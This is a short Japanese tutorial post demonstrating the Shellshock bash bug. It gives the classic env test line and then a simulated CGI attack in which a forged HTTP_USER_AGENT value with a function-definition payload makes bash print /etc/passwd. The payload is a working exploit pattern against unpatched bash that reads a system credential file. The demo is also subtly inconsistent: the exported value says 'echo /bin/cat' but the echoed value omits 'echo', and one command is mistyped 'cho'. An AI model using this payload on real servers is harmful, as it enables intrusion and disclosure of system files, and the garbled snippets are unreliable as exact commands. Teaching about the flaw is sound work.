ShellShockの確認コードとして
1
2
3
4
|
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test
|
というのがありますが、これで何が怖いの?っていう感じですよね?……というわけで、もう少しリアルな想定で遊んでみましょう。
想定
CGIを使ったwebサーバがあり、攻撃者がUSER_AGENTを偽装して攻撃してきている、という想定で遊びます。
ワークショップ
- CGIにアクセスされると環境変数「USER_AGENT」に自動的に値がセットされます。まずはそのシミュレート。
1
2
3
4
|
$ export HTTP_USER_AGENT='() { :;}; echo /bin/cat /etc/passwd'
$ cho $HTTP_USER_AGENT
() { :;}; /bin/cat /etc/passwd
|
- CGIのプロセスが起動した想定で、bashを起動します
1
2
3
4
5
6
7
8
|
$ bash
# $FreeBSD: release/10.0.0/etc/master.passwd 256366 2013-10-12 06:08:18Z rpaulo $
#
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
(以下略)
|
と、このように/etc/passwdの中身が出力されてしまいます。これはマジヤバでしょう!!!